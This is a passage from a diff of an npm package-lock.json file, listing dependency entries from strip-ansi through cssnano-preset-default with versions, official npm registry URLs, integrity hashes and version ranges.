"requires": { + "ansi-regex": "^3.0.0" + } + } + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "coffee-loader": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/coffee-loader/-/coffee-loader-0.8.0.tgz", + "integrity": "sha1-7EjnMn2o46mQR6mdm9z8rBLfNpQ=", + "dev": true, + "requires": { + "loader-utils": "^1.0.2" + } + }, + "coffeescript": { + "version": "1.12.7", + "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.12.7.tgz", + "integrity": "sha1-5X7kxIZ89/YGv8Sg8tVQwJgd3Sc=", + "dev": true + }, + "collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", + "requires": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + } + }, + "color": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/color/-/color-0.11.4.tgz", + "integrity": "sha1-bXtcdPtl6EHNSHkq0e1eB7kE12Q=", + "dev": true, + "requires": { + "clone": "^1.0.2", + "color-convert": "^1.3.0", + "color-string": "^0.3.0" + }, + "dependencies": { + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + } + } + }, + "color-convert": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-0.5.3.tgz", + "integrity": "sha1-vbbGnOZg+t/+CwAHzER+G59ygr0=" + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" + }, + "color-string": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-0.3.0.tgz", + "integrity": "sha1-J9RvtnAlxcL6JZk7+/V55HhBuZE=", + "dev": true, + "requires": { + "color-name": "^1.0.0" + } + }, + "colorette": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.4.0.tgz", + "integrity": "sha512-Y2oEozpomLn7Q3HFP7dpww7AtMJplbM9lGZP6RDfHqmbeRjiwRg4n6VM6j4KLmRke85uWEI7JqF17f3pqdRA0g==", + "peer": true + }, + "colormin": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/colormin/-/colormin-1.1.2.tgz", + "integrity": "sha1-6i90IKcrlogaOKrlnsEkpvcpgTM=", + "dev": true, + "requires": { + "color": "^0.11.0", + "css-color-names": "0.0.4", + "has": "^1.0.1" + } + }, + "colors": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz", + "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM=", + "dev": true + }, + "combine-source-map": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/combine-source-map/-/combine-source-map-0.8.0.tgz", + "integrity": "sha1-pY0N8ELBhvz4IqjoAV9UUNLXmos=", + "dev": true, + "requires": { + "convert-source-map": "~1.1.0", + "inline-source-map": "~0.6.0", + "lodash.memoize": "~3.0.3", + "source-map": "~0.5.3" + } + }, + "combined-stream": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", + "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", + "dev": true, + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "command-exists": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz", + "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", + "peer": true + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=" + }, + "component-emitter": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", + "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=" + }, + "compress-commons": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-1.2.2.tgz", + "integrity": "sha1-UkqfEJA/OoEzibAiXSfEi7dRiQ8=", + "dev": true, + "requires": { + "buffer-crc32": "^0.2.1", + "crc32-stream": "^2.0.0", + "normalize-path": "^2.0.0", + "readable-stream": "^2.0.0" + }, + "dependencies": { + "crc32-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-2.0.0.tgz", + "integrity": "sha1-483TtN8xaN10494/u8t7KX/pCPQ=", + "dev": true, + "requires": { + "crc": "^3.4.4", + "readable-stream": "^2.0.0" + } + } + } + }, + "compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "peer": true, + "requires": { + "mime-db": ">= 1.43.0 < 2" + } + }, + "compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "peer": true, + "requires": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "dependencies": { + "bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "peer": true + } + } + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + }, + "concat-stream": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.5.2.tgz", + "integrity": "sha1-cIl4Yk2FavQaWnQd790mHadSwmY=", + "dev": true, + "requires": { + "inherits": "~2.0.1", + "readable-stream": "~2.0.0", + "typedarray": "~0.0.5" + }, + "dependencies": { + "readable-stream": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz", + "integrity": "sha1-j5A0HmilPMySh4jaz80Rs265t44=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "string_decoder": "~0.10.x", + "util-deprecate": "~1.0.1" + } + } + } + }, + "config-chain": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.13.tgz", + "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==", + "dev": true, + "requires": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "connect": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/connect/-/connect-3.7.0.tgz", + "integrity": "sha512-ZqRXc+tZukToSNmh5C2iWMSoV3X1YUcPbqEM4DkEG5tNQXrQUZCNVGGv3IuicnkMtPfGf3Xtp8WCXs295iQ1pQ==", + "peer": true, + "requires": { + "debug": "2.6.9", + "finalhandler": "1.1.2", + "parseurl": "~1.3.3", + "utils-merge": "1.0.1" + } + }, + "console-browserify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.1.0.tgz", + "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", + "dev": true, + "requires": { + "date-now": "^0.1.4" + } + }, + "console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", + "dev": true + }, + "consolidate": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/consolidate/-/consolidate-0.14.5.tgz", + "integrity": "sha1-WiUEe8dvcwcmZ8jLUsmJiI9JTGM=", + "dev": true, + "requires": { + "bluebird": "^3.1.1" + } + }, + "constantinople": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-4.0.1.tgz", + "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", + "dev": true, + "requires": { + "@babel/parser": "^7.6.0", + "@babel/types": "^7.6.1" + } + }, + "constants-browserify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", + "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=", + "dev": true + }, + "continuable-cache": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/continuable-cache/-/continuable-cache-0.3.1.tgz", + "integrity": "sha1-vXJ6f67XfnH/OYWskzUakSczrQ8=", + "dev": true + }, + "convert-source-map": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.1.3.tgz", + "integrity": "sha1-SCnId+n+SbMWHzvzZziI4gRpmGA=", + "dev": true + }, + "copy-concurrently": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", + "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", + "dev": true, + "requires": { + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" + } + }, + "copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=" + }, + "core-js": { + "version": "2.5.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz", + "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw==" + }, + "core-js-compat": { + "version": "3.29.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.29.0.tgz", + "integrity": "sha512-ScMn3uZNAFhK2DGoEfErguoiAHhV2Ju+oJo/jK08p7B3f3UhocUrCCkTvnZaiS+edl5nlIoiBXKcwMc6elv4KQ==", + "requires": { + "browserslist": "^4.21.5" + }, + "dependencies": { + "browserslist": { + "version": "4.21.5", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.5.tgz", + "integrity": "sha512-tUkiguQGW7S3IhB7N+c2MV/HZPSCPAAiYBZXLsBhFB/PCy6ZKKsZrmBayHV9fdGV/ARIfJ14NkxKzRDjvp7L6w==", + "requires": { + "caniuse-lite": "^1.0.30001449", + "electron-to-chromium": "^1.4.284", + "node-releases": "^2.0.8", + "update-browserslist-db": "^1.0.10" + } + }, + "node-releases": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.10.tgz", + "integrity": "sha512-5GFldHPXVG/YZmFzJvKK2zDSzPKhEp0+ZR5SVaoSag9fsL5YgHbUHDfnG5494ISANDcK4KwPXAx2xqVEydmd7w==" + }, + "update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + } + } + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + }, + "cosmiconfig": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-2.2.2.tgz", + "integrity": "sha1-YXPOvVb6wELB9DkO33r2wHx8uJI=", + "dev": true, + "requires": { + "is-directory": "^0.3.1", + "js-yaml": "^3.4.3", + "minimist": "^1.2.0", + "object-assign": "^4.1.0", + "os-homedir": "^1.0.1", + "parse-json": "^2.2.0", + "require-from-string": "^1.1.0" + } + }, + "crc": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/crc/-/crc-3.5.0.tgz", + "integrity": "sha1-mLi6fUiWZbo5efWbITgTdBAaGWQ=", + "dev": true + }, + "crc32-stream": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-3.0.1.tgz", + "integrity": "sha512-mctvpXlbzsvK+6z8kJwSJ5crm7yBwrQMTybJzMw1O4lLGJqjlDCXY2Zw7KheiA6XBEcBmfLx1D88mjRGVJtY9w==", + "dev": true, + "requires": { + "crc": "^3.4.4", + "readable-stream": "^3.4.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } + } + } + }, + "create-ecdh": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.0.tgz", + "integrity": "sha1-iIxyNZbN92EvZJgjPuvXo1MBc30=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "elliptic": "^6.0.0" + } + }, + "create-hash": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz", + "integrity": "sha1-YGBCrIuSYnUPSDyt2rD1gZFy2P0=", + "dev": true, + "requires": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "sha.js": "^2.4.0" + } + }, + "create-hmac": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.6.tgz", + "integrity": "sha1-rLniIaThe9sHbpBlfEK5PjcmzwY=", + "dev": true, + "requires": { + "cipher-base": "^1.0.3", + "create-hash": "^1.1.0", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "create-react-class": { + "version": "15.6.3", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", + "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", + "requires": { + "fbjs": "^0.8.9", + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, + "cross-env": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-5.2.0.tgz", + "integrity": "sha512-jtdNFfFW1hB7sMhr/H6rW1Z45LFqyI431m3qU6bFXcQ3Eh7LtBuG3h74o7ohHZ3crrRkkqHlo4jYHFPcjroANg==", + "dev": true, + "requires": { + "cross-spawn": "^6.0.5", + "is-windows": "^1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + } + } + }, + "cross-spawn": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", + "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", + "dev": true, + "requires": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=", + "dev": true + }, + "crypto-browserify": { + "version": "3.11.0", + "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.11.0.tgz", + "integrity": "sha1-NlKgkGq5sqfgw85mpAjpV6JIVSI=", + "dev": true, + "requires": { + "browserify-cipher": "^1.0.0", + "browserify-sign": "^4.0.0", + "create-ecdh": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.0", + "diffie-hellman": "^5.0.0", + "inherits": "^2.0.1", + "pbkdf2": "^3.0.3", + "public-encrypt": "^4.0.0", + "randombytes": "^2.0.0" + } + }, + "css-color-names": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz", + "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=", + "dev": true + }, + "css-declaration-sorter": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-3.0.1.tgz", + "integrity": "sha512-jH4024SHZ3e0M7ann9VxpFpH3moplRXNz9ZBqvFMZqi09Yo5ARbs2wdPH8GqN9iRTlQynrbGbraNbBxBLei85Q==", + "dev": true, + "requires": { + "postcss": "^6.0.0", + "timsort": "^0.3.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "css-loader": { + "version": "0.28.11", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-0.28.11.tgz", + "integrity": "sha512-wovHgjAx8ZIMGSL8pTys7edA1ClmzxHeY6n/d97gg5odgsxEgKjULPR0viqyC+FWMCL9sfqoC/QCUBo62tLvPg==", + "dev": true, + "requires": { + "babel-code-frame": "^6.26.0", + "css-selector-tokenizer": "^0.7.0", + "cssnano": "^3.10.0", + "icss-utils": "^2.1.0", + "loader-utils": "^1.0.2", + "lodash.camelcase": "^4.3.0", + "object-assign": "^4.1.1", + "postcss": "^5.0.6", + "postcss-modules-extract-imports": "^1.2.0", + "postcss-modules-local-by-default": "^1.2.0", + "postcss-modules-scope": "^1.1.0", + "postcss-modules-values": "^1.3.0", + "postcss-value-parser": "^3.3.0", + "source-list-map": "^2.0.0" + } + }, + "css-select": { + "version": "1.3.0-rc0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.3.0-rc0.tgz", + "integrity": "sha1-b5MZaqrnN2ZuoQNqjLFKj8t6kjE=", + "dev": true, + "requires": { + "boolbase": "^1.0.0", + "css-what": "2.1", + "domutils": "1.5.1", + "nth-check": "^1.0.1" + } + }, + "css-select-base-adapter": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.0.tgz", + "integrity": "sha1-AQKz0UYw34bD65+p9UVicBBs+ZA=", + "dev": true + }, + "css-selector-tokenizer": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", + "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", + "dev": true, + "requires": { + "cssesc": "^0.1.0", + "fastparse": "^1.1.1", + "regexpu-core": "^1.0.0" + }, + "dependencies": { + "regexpu-core": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", + "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", + "dev": true, + "requires": { + "regenerate": "^1.2.1", + "regjsgen": "^0.2.0", + "regjsparser": "^0.1.4" + } + } + } + }, + "css-to-xpath": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/css-to-xpath/-/css-to-xpath-0.1.0.tgz", + "integrity": "sha1-rA0cJs7wI/e9jPLh/B93E0vHDEc=", + "dev": true, + "requires": { + "bo-selector": "0.0.10", + "xpath-builder": "0.0.7" + } + }, + "css-tree": { + "version": "1.0.0-alpha25", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha25.tgz", + "integrity": "sha512-XC6xLW/JqIGirnZuUWHXCHRaAjje2b3OIB0Vj5RIJo6mIi/AdJo30quQl5LxUl0gkXDIrTrFGbMlcZjyFplz1A==", + "dev": true, + "requires": { + "mdn-data": "^1.0.0", + "source-map": "^0.5.3" + } + }, + "css-unit-converter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/css-unit-converter/-/css-unit-converter-1.1.1.tgz", + "integrity": "sha1-2bkoGtz9jO2TW9urqDeGiX9k6ZY=", + "dev": true + }, + "css-url-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/css-url-regex/-/css-url-regex-1.1.0.tgz", + "integrity": "sha1-g4NCMMyfdMRX3lnuvRVD/uuDt+w=", + "dev": true + }, + "css-value": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/css-value/-/css-value-0.0.1.tgz", + "integrity": "sha512-FUV3xaJ63buRLgHrLQVlVgQnQdR4yqdLGaDu7g8CQcWjInDfM9plBTPI9FRfpahju1UBSaMckeb2/46ApS/V1Q==", + "dev": true + }, + "css-what": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.0.tgz", + "integrity": "sha1-lGfQMsOM+u+58teVASUwYvh/ob0=", + "dev": true + }, + "cssesc": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-0.1.0.tgz", + "integrity": "sha1-yBSQPkViM3GgR3tAEJqq++6t27Q=", + "dev": true + }, + "cssnano": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-3.10.0.tgz", + "integrity": "sha1-Tzj2zqK5sX+gFJDyPx3GjqZcHDg=", + "dev": true, + "requires": { + "autoprefixer": "^6.3.1", + "decamelize": "^1.1.2", + "defined": "^1.0.0", + "has": "^1.0.1", + "object-assign": "^4.0.1", + "postcss": "^5.0.14", + "postcss-calc": "^5.2.0", + "postcss-colormin": "^2.1.8", + "postcss-convert-values": "^2.3.4", + "postcss-discard-comments": "^2.0.4", + "postcss-discard-duplicates": "^2.0.1", + "postcss-discard-empty": "^2.0.1", + "postcss-discard-overridden": "^0.1.1", + "postcss-discard-unused": "^2.2.1", + "postcss-filter-plugins": "^2.0.0", + "postcss-merge-idents": "^2.1.5", + "postcss-merge-longhand": "^2.0.1", + "postcss-merge-rules": "^2.0.3", + "postcss-minify-font-values": "^1.0.2", + "postcss-minify-gradients": "^1.0.1", + "postcss-minify-params": "^1.0.4", + "postcss-minify-selectors": "^2.0.4", + "postcss-normalize-charset": "^1.1.0", + "postcss-normalize-url": "^3.0.7", + "postcss-ordered-values": "^2.1.0", + "postcss-reduce-idents": "^2.2.2", + "postcss-reduce-initial": "^1.0.0", + "postcss-reduce-transforms": "^1.0.3", + "postcss-svgo": "^2.1.1", + "postcss-unique-selectors": "^2.0.2", + "postcss-value-parser": "^3.2.3", + "postcss-zindex": "^2.0.1" + } + }, + "cssnano-preset-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-4.0.0.tgz", + "integrity": "sha1-wzQoe099SfstFwqS+SFGVXiOO2s=", + "dev": true, + "requires": { + "css-declaration-sorter": "^3.0.0", + "cssnano-util-raw-cache": "^4.0.0", + "postcss": "^6.0.0", + "postcss-calc": "^6.0.0", + "postcss-colormin": "^4.0.0", + "postcss-convert-values": "^4.0.0", + "postcss-discard-comments": "^4.0.0", + "postcss-discard-duplicates": "^4.0.0", + "postcss-discard-empty": "^4.0.0", + "postcss-discard-overridden": "^4.0.0", + "postcss-merge-longhand": "^4.0.0", + "postcss-merge-rules": "^4.0.0", + "postcss-minify-font-values": "^4.0.0", + "postcss-minify-gradients": "^4.0.0", + "postcss-minify-params": "^4.0.0", + 